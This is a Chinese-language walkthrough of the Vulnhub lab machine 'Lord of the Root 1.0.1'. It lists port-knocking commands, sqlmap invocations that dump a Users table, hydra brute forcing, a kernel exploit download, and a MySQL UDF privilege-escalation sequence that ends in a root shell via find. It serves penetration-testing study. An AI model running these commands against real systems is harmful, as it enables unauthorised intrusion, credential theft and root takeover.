Vulnhub-LORD OF THE ROOT: 1.0.1

一、信息收集

端口扫描、发现只开了22端口

连接ssh后提示端口碰撞:

端口敲门是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打开防火墙上的端口的方法。一旦收到正确地连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接。

端口敲门的主要目的是防止攻击者通过进行端口扫描来扫描系统中潜在的可利用服务,因为除非攻击者发送正确的碰撞序列,否则受保护的端口将显示为关闭

有两个方法进行碰撞

  1. knock:knock 192.168.1.18 1 2 3 -v

  1. hping3:hping3 -S 192.168.1.18 -p 1 -c 1

扫描端口发现1337端口被打开了

访问robots.txt文件查看源码有个bas64编码的字符串

通过两次解码后发现是一个路径

二、漏洞利用

是一个登录框

抓取POST登录数据包,利用sqlmap检测到存在sql注入

sqlmap -r 1.txt --dbs

sqlmap -r 1.txt -D Webapp --tables

sqlmap -r 1.txt -D Webapp -T Users --columns

sqlmap -r 1.txt -D Webapp -T Users -C password,username --dump

把账号和密码分别写在文件里面再利用hydra进行爆破

三、提权

1. 内核提权

登录后使用命令:lsb_release -a

版本为:Ubuntu 14.04 发现39166.c脚本可以提权

利用python开启http协议,再攻击机上使用wget下载

执行脚本提权成功

2. Mysql提权

查看mysql的版本

locate lib_mysqludf_sys //查看本地udf
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so /root/udf.so   //将lib_mysqludf_sys_32.so复制到/root下操作
du udf.so //查看大小方便后面使用不同的二进制类型

使用python开启http服务把文件下载到靶机tmp目录中

use mysql;  //使用mysql数据库
create table udf(line blob);  //创建udf表,用于存放本地传来的udf文件的内容.
insert into udf values(load_file('/tmp/udf.so'));//在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; //将udf文件内容传入新建的udf.so文件中,路径根据自己的文件路径修改
create function sys_eval returns string soname 'udf.so';  //创建自定义函数
select * from mysql.func; //查看函数
select sys_eval('chmod u+x /usr/bin/find'); //调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令

退出后利用find提权:find / -exec '/bin/sh' ;